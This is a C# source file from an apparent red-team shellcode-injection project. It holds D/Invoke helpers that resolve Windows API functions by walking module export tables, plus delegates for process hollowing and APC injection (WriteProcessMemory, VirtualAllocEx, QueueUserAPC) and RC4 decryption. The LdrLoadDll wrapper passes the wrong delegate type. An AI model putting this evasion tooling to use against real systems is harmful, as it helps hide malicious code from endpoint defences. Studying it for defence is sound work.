├── DInvoke.cs ├── Encrypt.cs ├── Program.cs └── README.md /DInvoke.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.IO; 4 | using System.Runtime.InteropServices; 5 | 6 | // https://www.redteam.cafe/red-team/shellcode-injection/process-hollowing-dinvoke 7 | namespace DynamicInvoke 8 | { 9 | public static class DELEGATES 10 | { 11 | 12 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 13 | //public delegate Boolean CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, STRUCTS.ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STRUCTS.STARTUPINFO lpStartupInfo, out STRUCTS.PROCESS_INFORMATION lpProcessInformation); 14 | public delegate Boolean CreateProcess(string lpApplicationName, string lpCommandLine, ref STRUCTS.SECURITY_ATTRIBUTES lpProcessAttributes, ref STRUCTS.SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, STRUCTS.ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STRUCTS.STARTUPINFO lpStartupInfo, out STRUCTS.PROCESS_INFORMATION lpProcessInformation); 15 | 16 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 17 | public delegate UInt32 ZwQueryInformationProcess(IntPtr hProcess, Int32 procInformationClass, ref STRUCTS.PROCESS_BASIC_INFORMATION procInformation, UInt32 ProcInfoLen, ref UInt32 retlen); 18 | 19 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 20 | public delegate bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesRead); 21 | 22 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 23 | public delegate bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); 24 | 25 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 26 | public delegate IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); 27 | 28 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 29 | public delegate IntPtr OpenThread(STRUCTS.ThreadAccess dwDesiredAccess, bool bInheritHandle, int dwThreadId); 30 | 31 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 32 | public delegate Boolean VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect); 33 | 34 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 35 | public delegate IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); 36 | 37 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 38 | public delegate uint ResumeThread(IntPtr hThhread); 39 | 40 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 41 | public delegate void SystemFunction032(ref STRUCTS.UNICODE_STRING data, ref STRUCTS.UNICODE_STRING key); 42 | 43 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 44 | public delegate UInt32 LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref STRUCTS.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle); 45 | 46 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 47 | public delegate void RtlInitUnicodeString(ref STRUCTS.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString); 48 | } 49 | 50 | public class STRUCTS 51 | { 52 | [Flags] 53 | public enum ProcessCreationFlags : uint 54 | { 55 | ZERO_FLAG = 0x00000000, 56 | CREATE_BREAKAWAY_FROM_JOB = 0x01000000, 57 | CREATE_DEFAULT_ERROR_MODE = 0x04000000, 58 | CREATE_NEW_CONSOLE = 0x00000010, 59 | CREATE_NEW_PROCESS_GROUP = 0x00000200, 60 | CREATE_NO_WINDOW = 0x08000000, 61 | CREATE_PROTECTED_PROCESS = 0x00040000, 62 | CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000, 63 | CREATE_SEPARATE_WOW_VDM = 0x00001000, 64 | CREATE_SHARED_WOW_VDM = 0x00001000, 65 | CREATE_SUSPENDED = 0x00000004, 66 | CREATE_UNICODE_ENVIRONMENT = 0x00000400, 67 | DEBUG_ONLY_THIS_PROCESS = 0x00000002, 68 | DEBUG_PROCESS = 0x00000001, 69 | DETACHED_PROCESS = 0x00000008, 70 | EXTENDED_STARTUPINFO_PRESENT = 0x00080000, 71 | INHERIT_PARENT_AFFINITY = 0x00010000 72 | } 73 | 74 | [Flags] 75 | public enum ThreadAccess : int 76 | { 77 | TERMINATE = (0x0001), 78 | SUSPEND_RESUME = (0x0002), 79 | GET_CONTEXT = (0x0008), 80 | SET_CONTEXT = (0x0010), 81 | SET_INFORMATION = (0x0020), 82 | QUERY_INFORMATION = (0x0040), 83 | SET_THREAD_TOKEN = (0x0080), 84 | IMPERSONATE = (0x0100), 85 | DIRECT_IMPERSONATION = (0x0200), 86 | THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT, 87 | THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION 88 | } 89 | public struct PROCESS_INFORMATION 90 | { 91 | public IntPtr hProcess; 92 | public IntPtr hThread; 93 | public uint dwProcessId; 94 | public uint dwThreadId; 95 | } 96 | 97 | public struct PROCESS_BASIC_INFORMATION 98 | { 99 | public STRUCTS.NTSTATUS ExitStatus; 100 | public IntPtr PebBaseAddress; 101 | public UIntPtr AffinityMask; 102 | public int BasePriority; 103 | public UIntPtr UniqueProcessId; 104 | public UIntPtr InheritedFromUniqueProcessId; 105 | } 106 | 107 | 108 | public struct SECURITY_ATTRIBUTES 109 | { 110 | public int nLength; 111 | public IntPtr lpSecurityDescriptor; 112 | public int bInheritHandle; 113 | } 114 | 115 | 116 | public struct STARTUPINFO 117 | { 118 | public uint cb; 119 | public string lpReserved; 120 | public string lpDesktop; 121 | public string lpTitle; 122 | public uint dwX; 123 | public uint dwY; 124 | public uint dwXSize; 125 | public uint dwYSize; 126 | public uint dwXCountChars; 127 | public uint dwYCountChars; 128 | public uint dwFillAttribute; 129 | public uint dwFlags; 130 | public short wShowWindow; 131 | public short cbReserved2; 132 | public IntPtr lpReserved2; 133 | public IntPtr hStdInput; 134 | public IntPtr hStdOutput; 135 | public IntPtr hStdError; 136 | } 137 | 138 | [StructLayout(LayoutKind.Sequential)] 139 | public struct UNICODE_STRING 140 | { 141 | public UInt16 Length; 142 | public UInt16 MaximumLength; 143 | public IntPtr Buffer; 144 | } 145 | 146 | /// 147 | /// NTSTATUS is an undocument enum. https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55 148 | /// https://www.pinvoke.net/default.aspx/Enums/NtStatus.html 149 | /// 150 | public enum NTSTATUS : uint 151 | { 152 | // Success 153 | Success = 0x00000000, 154 | Wait0 = 0x00000000, 155 | Wait1 = 0x00000001, 156 | Wait2 = 0x00000002, 157 | Wait3 = 0x00000003, 158 | Wait63 = 0x0000003f, 159 | Abandoned = 0x00000080, 160 | AbandonedWait0 = 0x00000080, 161 | AbandonedWait1 = 0x00000081, 162 | AbandonedWait2 = 0x00000082, 163 | AbandonedWait3 = 0x00000083, 164 | AbandonedWait63 = 0x000000bf, 165 | UserApc = 0x000000c0, 166 | KernelApc = 0x00000100, 167 | Alerted = 0x00000101, 168 | Timeout = 0x00000102, 169 | Pending = 0x00000103, 170 | Reparse = 0x00000104, 171 | MoreEntries = 0x00000105, 172 | NotAllAssigned = 0x00000106, 173 | SomeNotMapped = 0x00000107, 174 | OpLockBreakInProgress = 0x00000108, 175 | VolumeMounted = 0x00000109, 176 | RxActCommitted = 0x0000010a, 177 | NotifyCleanup = 0x0000010b, 178 | NotifyEnumDir = 0x0000010c, 179 | NoQuotasForAccount = 0x0000010d, 180 | PrimaryTransportConnectFailed = 0x0000010e, 181 | PageFaultTransition = 0x00000110, 182 | PageFaultDemandZero = 0x00000111, 183 | PageFaultCopyOnWrite = 0x00000112, 184 | PageFaultGuardPage = 0x00000113, 185 | PageFaultPagingFile = 0x00000114, 186 | CrashDump = 0x00000116, 187 | ReparseObject = 0x00000118, 188 | NothingToTerminate = 0x00000122, 189 | ProcessNotInJob = 0x00000123, 190 | ProcessInJob = 0x00000124, 191 | ProcessCloned = 0x00000129, 192 | FileLockedWithOnlyReaders = 0x0000012a, 193 | FileLockedWithWriters = 0x0000012b, 194 | 195 | // Informational 196 | Informational = 0x40000000, 197 | ObjectNameExists = 0x40000000, 198 | ThreadWasSuspended = 0x40000001, 199 | WorkingSetLimitRange = 0x40000002, 200 | ImageNotAtBase = 0x40000003, 201 | RegistryRecovered = 0x40000009, 202 | 203 | // Warning 204 | Warning = 0x80000000, 205 | GuardPageViolation = 0x80000001, 206 | DatatypeMisalignment = 0x80000002, 207 | Breakpoint = 0x80000003, 208 | SingleStep = 0x80000004, 209 | BufferOverflow = 0x80000005, 210 | NoMoreFiles = 0x80000006, 211 | HandlesClosed = 0x8000000a, 212 | PartialCopy = 0x8000000d, 213 | DeviceBusy = 0x80000011, 214 | InvalidEaName = 0x80000013, 215 | EaListInconsistent = 0x80000014, 216 | NoMoreEntries = 0x8000001a, 217 | LongJump = 0x80000026, 218 | DllMightBeInsecure = 0x8000002b, 219 | 220 | // Error 221 | Error = 0xc0000000, 222 | Unsuccessful = 0xc0000001, 223 | NotImplemented = 0xc0000002, 224 | InvalidInfoClass = 0xc0000003, 225 | InfoLengthMismatch = 0xc0000004, 226 | AccessViolation = 0xc0000005, 227 | InPageError = 0xc0000006, 228 | PagefileQuota = 0xc0000007, 229 | InvalidHandle = 0xc0000008, 230 | BadInitialStack = 0xc0000009, 231 | BadInitialPc = 0xc000000a, 232 | InvalidCid = 0xc000000b, 233 | TimerNotCanceled = 0xc000000c, 234 | InvalidParameter = 0xc000000d, 235 | NoSuchDevice = 0xc000000e, 236 | NoSuchFile = 0xc000000f, 237 | InvalidDeviceRequest = 0xc0000010, 238 | EndOfFile = 0xc0000011, 239 | WrongVolume = 0xc0000012, 240 | NoMediaInDevice = 0xc0000013, 241 | NoMemory = 0xc0000017, 242 | ConflictingAddresses = 0xc0000018, 243 | NotMappedView = 0xc0000019, 244 | UnableToFreeVm = 0xc000001a, 245 | UnableToDeleteSection = 0xc000001b, 246 | IllegalInstruction = 0xc000001d, 247 | AlreadyCommitted = 0xc0000021, 248 | AccessDenied = 0xc0000022, 249 | BufferTooSmall = 0xc0000023, 250 | ObjectTypeMismatch = 0xc0000024, 251 | NonContinuableException = 0xc0000025, 252 | BadStack = 0xc0000028, 253 | NotLocked = 0xc000002a, 254 | NotCommitted = 0xc000002d, 255 | InvalidParameterMix = 0xc0000030, 256 | ObjectNameInvalid = 0xc0000033, 257 | ObjectNameNotFound = 0xc0000034, 258 | ObjectNameCollision = 0xc0000035, 259 | ObjectPathInvalid = 0xc0000039, 260 | ObjectPathNotFound = 0xc000003a, 261 | ObjectPathSyntaxBad = 0xc000003b, 262 | DataOverrun = 0xc000003c, 263 | DataLate = 0xc000003d, 264 | DataError = 0xc000003e, 265 | CrcError = 0xc000003f, 266 | SectionTooBig = 0xc0000040, 267 | PortConnectionRefused = 0xc0000041, 268 | InvalidPortHandle = 0xc0000042, 269 | SharingViolation = 0xc0000043, 270 | QuotaExceeded = 0xc0000044, 271 | InvalidPageProtection = 0xc0000045, 272 | MutantNotOwned = 0xc0000046, 273 | SemaphoreLimitExceeded = 0xc0000047, 274 | PortAlreadySet = 0xc0000048, 275 | SectionNotImage = 0xc0000049, 276 | SuspendCountExceeded = 0xc000004a, 277 | ThreadIsTerminating = 0xc000004b, 278 | BadWorkingSetLimit = 0xc000004c, 279 | IncompatibleFileMap = 0xc000004d, 280 | SectionProtection = 0xc000004e, 281 | EasNotSupported = 0xc000004f, 282 | EaTooLarge = 0xc0000050, 283 | NonExistentEaEntry = 0xc0000051, 284 | NoEasOnFile = 0xc0000052, 285 | EaCorruptError = 0xc0000053, 286 | FileLockConflict = 0xc0000054, 287 | LockNotGranted = 0xc0000055, 288 | DeletePending = 0xc0000056, 289 | CtlFileNotSupported = 0xc0000057, 290 | UnknownRevision = 0xc0000058, 291 | RevisionMismatch = 0xc0000059, 292 | InvalidOwner = 0xc000005a, 293 | InvalidPrimaryGroup = 0xc000005b, 294 | NoImpersonationToken = 0xc000005c, 295 | CantDisableMandatory = 0xc000005d, 296 | NoLogonServers = 0xc000005e, 297 | NoSuchLogonSession = 0xc000005f, 298 | NoSuchPrivilege = 0xc0000060, 299 | PrivilegeNotHeld = 0xc0000061, 300 | InvalidAccountName = 0xc0000062, 301 | UserExists = 0xc0000063, 302 | NoSuchUser = 0xc0000064, 303 | GroupExists = 0xc0000065, 304 | NoSuchGroup = 0xc0000066, 305 | MemberInGroup = 0xc0000067, 306 | MemberNotInGroup = 0xc0000068, 307 | LastAdmin = 0xc0000069, 308 | WrongPassword = 0xc000006a, 309 | IllFormedPassword = 0xc000006b, 310 | PasswordRestriction = 0xc000006c, 311 | LogonFailure = 0xc000006d, 312 | AccountRestriction = 0xc000006e, 313 | InvalidLogonHours = 0xc000006f, 314 | InvalidWorkstation = 0xc0000070, 315 | PasswordExpired = 0xc0000071, 316 | AccountDisabled = 0xc0000072, 317 | NoneMapped = 0xc0000073, 318 | TooManyLuidsRequested = 0xc0000074, 319 | LuidsExhausted = 0xc0000075, 320 | InvalidSubAuthority = 0xc0000076, 321 | InvalidAcl = 0xc0000077, 322 | InvalidSid = 0xc0000078, 323 | InvalidSecurityDescr = 0xc0000079, 324 | ProcedureNotFound = 0xc000007a, 325 | InvalidImageFormat = 0xc000007b, 326 | NoToken = 0xc000007c, 327 | BadInheritanceAcl = 0xc000007d, 328 | RangeNotLocked = 0xc000007e, 329 | DiskFull = 0xc000007f, 330 | ServerDisabled = 0xc0000080, 331 | ServerNotDisabled = 0xc0000081, 332 | TooManyGuidsRequested = 0xc0000082, 333 | GuidsExhausted = 0xc0000083, 334 | InvalidIdAuthority = 0xc0000084, 335 | AgentsExhausted = 0xc0000085, 336 | InvalidVolumeLabel = 0xc0000086, 337 | SectionNotExtended = 0xc0000087, 338 | NotMappedData = 0xc0000088, 339 | ResourceDataNotFound = 0xc0000089, 340 | ResourceTypeNotFound = 0xc000008a, 341 | ResourceNameNotFound = 0xc000008b, 342 | ArrayBoundsExceeded = 0xc000008c, 343 | FloatDenormalOperand = 0xc000008d, 344 | FloatDivideByZero = 0xc000008e, 345 | FloatInexactResult = 0xc000008f, 346 | FloatInvalidOperation = 0xc0000090, 347 | FloatOverflow = 0xc0000091, 348 | FloatStackCheck = 0xc0000092, 349 | FloatUnderflow = 0xc0000093, 350 | IntegerDivideByZero = 0xc0000094, 351 | IntegerOverflow = 0xc0000095, 352 | PrivilegedInstruction = 0xc0000096, 353 | TooManyPagingFiles = 0xc0000097, 354 | FileInvalid = 0xc0000098, 355 | InsufficientResources = 0xc000009a, 356 | InstanceNotAvailable = 0xc00000ab, 357 | PipeNotAvailable = 0xc00000ac, 358 | InvalidPipeState = 0xc00000ad, 359 | PipeBusy = 0xc00000ae, 360 | IllegalFunction = 0xc00000af, 361 | PipeDisconnected = 0xc00000b0, 362 | PipeClosing = 0xc00000b1, 363 | PipeConnected = 0xc00000b2, 364 | PipeListening = 0xc00000b3, 365 | InvalidReadMode = 0xc00000b4, 366 | IoTimeout = 0xc00000b5, 367 | FileForcedClosed = 0xc00000b6, 368 | ProfilingNotStarted = 0xc00000b7, 369 | ProfilingNotStopped = 0xc00000b8, 370 | NotSameDevice = 0xc00000d4, 371 | FileRenamed = 0xc00000d5, 372 | CantWait = 0xc00000d8, 373 | PipeEmpty = 0xc00000d9, 374 | CantTerminateSelf = 0xc00000db, 375 | InternalError = 0xc00000e5, 376 | InvalidParameter1 = 0xc00000ef, 377 | InvalidParameter2 = 0xc00000f0, 378 | InvalidParameter3 = 0xc00000f1, 379 | InvalidParameter4 = 0xc00000f2, 380 | InvalidParameter5 = 0xc00000f3, 381 | InvalidParameter6 = 0xc00000f4, 382 | InvalidParameter7 = 0xc00000f5, 383 | InvalidParameter8 = 0xc00000f6, 384 | InvalidParameter9 = 0xc00000f7, 385 | InvalidParameter10 = 0xc00000f8, 386 | InvalidParameter11 = 0xc00000f9, 387 | InvalidParameter12 = 0xc00000fa, 388 | ProcessIsTerminating = 0xc000010a, 389 | MappedFileSizeZero = 0xc000011e, 390 | TooManyOpenedFiles = 0xc000011f, 391 | Cancelled = 0xc0000120, 392 | CannotDelete = 0xc0000121, 393 | InvalidComputerName = 0xc0000122, 394 | FileDeleted = 0xc0000123, 395 | SpecialAccount = 0xc0000124, 396 | SpecialGroup = 0xc0000125, 397 | SpecialUser = 0xc0000126, 398 | MembersPrimaryGroup = 0xc0000127, 399 | FileClosed = 0xc0000128, 400 | TooManyThreads = 0xc0000129, 401 | ThreadNotInProcess = 0xc000012a, 402 | TokenAlreadyInUse = 0xc000012b, 403 | PagefileQuotaExceeded = 0xc000012c, 404 | CommitmentLimit = 0xc000012d, 405 | InvalidImageLeFormat = 0xc000012e, 406 | InvalidImageNotMz = 0xc000012f, 407 | InvalidImageProtect = 0xc0000130, 408 | InvalidImageWin16 = 0xc0000131, 409 | LogonServer = 0xc0000132, 410 | DifferenceAtDc = 0xc0000133, 411 | SynchronizationRequired = 0xc0000134, 412 | DllNotFound = 0xc0000135, 413 | IoPrivilegeFailed = 0xc0000137, 414 | OrdinalNotFound = 0xc0000138, 415 | EntryPointNotFound = 0xc0000139, 416 | ControlCExit = 0xc000013a, 417 | InvalidAddress = 0xc0000141, 418 | PortNotSet = 0xc0000353, 419 | DebuggerInactive = 0xc0000354, 420 | CallbackBypass = 0xc0000503, 421 | PortClosed = 0xc0000700, 422 | MessageLost = 0xc0000701, 423 | InvalidMessage = 0xc0000702, 424 | RequestCanceled = 0xc0000703, 425 | RecursiveDispatch = 0xc0000704, 426 | LpcReceiveBufferExpected = 0xc0000705, 427 | LpcInvalidConnectionUsage = 0xc0000706, 428 | LpcRequestsNotAllowed = 0xc0000707, 429 | ResourceInUse = 0xc0000708, 430 | ProcessIsProtected = 0xc0000712, 431 | VolumeDirty = 0xc0000806, 432 | FileCheckedOut = 0xc0000901, 433 | CheckOutRequired = 0xc0000902, 434 | BadFileType = 0xc0000903, 435 | FileTooLarge = 0xc0000904, 436 | FormsAuthRequired = 0xc0000905, 437 | VirusInfected = 0xc0000906, 438 | VirusDeleted = 0xc0000907, 439 | TransactionalConflict = 0xc0190001, 440 | InvalidTransaction = 0xc0190002, 441 | TransactionNotActive = 0xc0190003, 442 | TmInitializationFailed = 0xc0190004, 443 | RmNotActive = 0xc0190005, 444 | RmMetadataCorrupt = 0xc0190006, 445 | TransactionNotJoined = 0xc0190007, 446 | DirectoryNotRm = 0xc0190008, 447 | CouldNotResizeLog = 0xc0190009, 448 | TransactionsUnsupportedRemote = 0xc019000a, 449 | LogResizeInvalidSize = 0xc019000b, 450 | RemoteFileVersionMismatch = 0xc019000c, 451 | CrmProtocolAlreadyExists = 0xc019000f, 452 | TransactionPropagationFailed = 0xc0190010, 453 | CrmProtocolNotFound = 0xc0190011, 454 | TransactionSuperiorExists = 0xc0190012, 455 | TransactionRequestNotValid = 0xc0190013, 456 | TransactionNotRequested = 0xc0190014, 457 | TransactionAlreadyAborted = 0xc0190015, 458 | TransactionAlreadyCommitted = 0xc0190016, 459 | TransactionInvalidMarshallBuffer = 0xc0190017, 460 | CurrentTransactionNotValid = 0xc0190018, 461 | LogGrowthFailed = 0xc0190019, 462 | ObjectNoLongerExists = 0xc0190021, 463 | StreamMiniversionNotFound = 0xc0190022, 464 | StreamMiniversionNotValid = 0xc0190023, 465 | MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024, 466 | CantOpenMiniversionWithModifyIntent = 0xc0190025, 467 | CantCreateMoreStreamMiniversions = 0xc0190026, 468 | HandleNoLongerValid = 0xc0190028, 469 | NoTxfMetadata = 0xc0190029, 470 | LogCorruptionDetected = 0xc0190030, 471 | CantRecoverWithHandleOpen = 0xc0190031, 472 | RmDisconnected = 0xc0190032, 473 | EnlistmentNotSuperior = 0xc0190033, 474 | RecoveryNotNeeded = 0xc0190034, 475 | RmAlreadyStarted = 0xc0190035, 476 | FileIdentityNotPersistent = 0xc0190036, 477 | CantBreakTransactionalDependency = 0xc0190037, 478 | CantCrossRmBoundary = 0xc0190038, 479 | TxfDirNotEmpty = 0xc0190039, 480 | IndoubtTransactionsExist = 0xc019003a, 481 | TmVolatile = 0xc019003b, 482 | RollbackTimerExpired = 0xc019003c, 483 | TxfAttributeCorrupt = 0xc019003d, 484 | EfsNotAllowedInTransaction = 0xc019003e, 485 | TransactionalOpenNotAllowed = 0xc019003f, 486 | TransactedMappingUnsupportedRemote = 0xc0190040, 487 | TxfMetadataAlreadyPresent = 0xc0190041, 488 | TransactionScopeCallbacksNotSet = 0xc0190042, 489 | TransactionRequiredPromotion = 0xc0190043, 490 | CannotExecuteFileInTransaction = 0xc0190044, 491 | TransactionsNotFrozen = 0xc0190045, 492 | 493 | MaximumNtStatus = 0xffffffff 494 | } 495 | 496 | 497 | 498 | } 499 | 500 | public static class Invoke 501 | { 502 | 503 | public static STRUCTS.NTSTATUS LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref STRUCTS.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle) 504 | { 505 | // Craft an array for the arguments 506 | object[] funcargs = 507 | { 508 | PathToFile, dwFlags, ModuleFileName, ModuleHandle 509 | }; 510 | 511 | STRUCTS.NTSTATUS retValue = (STRUCTS.NTSTATUS)DynamicAPIInvoke(@"ntdll.dll", @"LdrLoadDll", typeof(DELEGATES.RtlInitUnicodeString), ref funcargs); 512 | 513 | // Update the modified variables 514 | ModuleHandle = (IntPtr)funcargs[3]; 515 | 516 | return retValue; 517 | } 518 | 519 | public static void RtlInitUnicodeString(ref STRUCTS.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString) 520 | { 521 | // Craft an array for the arguments 522 | object[] funcargs = 523 | { 524 | DestinationString, SourceString 525 | }; 526 | 527 | DynamicAPIInvoke(@"ntdll.dll", @"RtlInitUnicodeString", typeof(DELEGATES.RtlInitUnicodeString), ref funcargs); 528 | 529 | // Update the modified variables 530 | DestinationString = (STRUCTS.UNICODE_STRING)funcargs[0]; 531 | } 532 | 533 | /// 534 | /// Dynamically invoke an arbitrary function from a DLL, providing its name, function prototype, and arguments. 535 | /// 536 | /// The Wover (@TheRealWover) 537 | /// Name of the DLL. 538 | /// Name of the function. 539 | /// Prototype for the function, represented as a Delegate object. 540 | /// Parameters to pass to the function. Can be modified if function uses call by reference. 541 | /// Object returned by the function. Must be unmarshalled by the caller. 542 | public static object DynamicAPIInvoke(string DLLName, string FunctionName, Type FunctionDelegateType, ref object[] Parameters) 543 | { 544 | IntPtr pFunction = GetLibraryAddress(DLLName, FunctionName); 545 | return DynamicFunctionInvoke(pFunction, FunctionDelegateType, ref Parameters); 546 | } 547 | 548 | /// 549 | /// Dynamically invokes an arbitrary function from a pointer. Useful for manually mapped modules or loading/invoking unmanaged code from memory. 550 | /// 551 | /// The Wover (@TheRealWover) 552 | /// A pointer to the unmanaged function. 553 | /// Prototype for the function, represented as a Delegate object. 554 | /// Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference. 555 | /// Object returned by the function. Must be unmarshalled by the caller. 556 | public static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type FunctionDelegateType, ref object[] Parameters) 557 | { 558 | Delegate funcDelegate = Marshal.GetDelegateForFunctionPointer(FunctionPointer, FunctionDelegateType); 559 | return funcDelegate.DynamicInvoke(Parameters); 560 | } 561 | 562 | 563 | /// 564 | /// Resolves LdrLoadDll and uses that function to load a DLL from disk. 565 | /// 566 | /// Ruben Boonen (@FuzzySec) 567 | /// The path to the DLL on disk. Uses the LoadLibrary convention. 568 | /// IntPtr base address of the loaded module or IntPtr.Zero if the module was not loaded successfully. 569 | public static IntPtr LoadModuleFromDisk(string DLLPath) 570 | { 571 | STRUCTS.UNICODE_STRING uModuleName = new STRUCTS.UNICODE_STRING(); 572 | RtlInitUnicodeString(ref uModuleName, DLLPath); 573 | 574 | IntPtr hModule = IntPtr.Zero; 575 | STRUCTS.NTSTATUS CallResult = LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule); 576 | if (CallResult != STRUCTS.NTSTATUS.Success || hModule == IntPtr.Zero) 577 | { 578 | return IntPtr.Zero; 579 | } 580 | 581 | return hModule; 582 | } 583 | 584 | /// 585 | /// Helper for getting the base address of a module loaded by the current process. This base 586 | /// address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for 587 | /// manual export parsing. This function uses the .NET System.Diagnostics.Process class. 588 | /// 589 | /// Ruben Boonen (@FuzzySec) 590 | /// The name of the DLL (e.g. "ntdll.dll"). 591 | /// IntPtr base address of the loaded module or IntPtr.Zero if the module is not found. 592 | public static IntPtr GetLoadedModuleAddress(string DLLName) 593 | { 594 | ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules; 595 | foreach (ProcessModule Mod in ProcModules) 596 | { 597 | if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower())) 598 | { 599 | return Mod.BaseAddress; 600 | } 601 | } 602 | return IntPtr.Zero; 603 | } 604 | 605 | /// 606 | /// Helper for getting the pointer to a function from a DLL loaded by the process. 607 | /// 608 | /// Ruben Boonen (@FuzzySec) 609 | /// The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll"). 610 | /// Name of the exported procedure. 611 | /// Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list. 612 | /// IntPtr for the desired function. 613 | public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false) 614 | { 615 | IntPtr hModule = GetLoadedModuleAddress(DLLName); 616 | if (hModule == IntPtr.Zero && CanLoadFromDisk) 617 | { 618 | hModule = LoadModuleFromDisk(DLLName); 619 | if (hModule == IntPtr.Zero) 620 | { 621 | throw new FileNotFoundException(DLLName + ", unable to find the specified file."); 622 | } 623 | } 624 | else if (hModule == IntPtr.Zero) 625 | { 626 | throw new DllNotFoundException(DLLName + ", Dll was not found."); 627 | } 628 | 629 | return GetExportAddress(hModule, FunctionName); 630 | } 631 | 632 | /// 633 | /// Given a module base address, resolve the address of a function by manually walking the module export table. 634 | /// 635 | /// Ruben Boonen (@FuzzySec) 636 | /// A pointer to the base address where the module is loaded in the current process. 637 | /// The name of the export to search for (e.g. "NtAlertResumeThread"). 638 | /// IntPtr for the desired function. 639 | public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName) 640 | { 641 | IntPtr FunctionPtr = IntPtr.Zero; 642 | try 643 | { 644 | // Traverse the PE header in memory 645 | Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C)); 646 | Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14)); 647 | Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18; 648 | Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader); 649 | Int64 pExport = 0; 650 | if (Magic == 0x010b) 651 | { 652 | pExport = OptHeader + 0x60; 653 | } 654 | else 655 | { 656 | pExport = OptHeader + 0x70; 657 | } 658 | 659 | // Read -> IMAGE_EXPORT_DIRECTORY 660 | Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport); 661 | Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10)); 662 | Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14)); 663 | Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18)); 664 | Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C)); 665 | Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20)); 666 | Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24)); 667 | 668 | // Loop the array of export name RVA's 669 | for (int i = 0; i < NumberOfNames; i++) 670 | { 671 | string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4)))); 672 | if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase)) 673 | { 674 | Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase; 675 | Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase)))); 676 | FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA); 677 | break; 678 | } 679 | } 680 | } 681 | catch 682 | { 683 | // Catch parser failure 684 | throw new InvalidOperationException("Failed to parse module exports."); 685 | } 686 | 687 | if (FunctionPtr == IntPtr.Zero) 688 | { 689 | // Export not found 690 | throw new MissingMethodException(ExportName + ", export not found."); 691 | } 692 | return FunctionPtr; 693 | } 694 | 695 | } 696 | } 697 | -------------------------------------------------------------------------------- 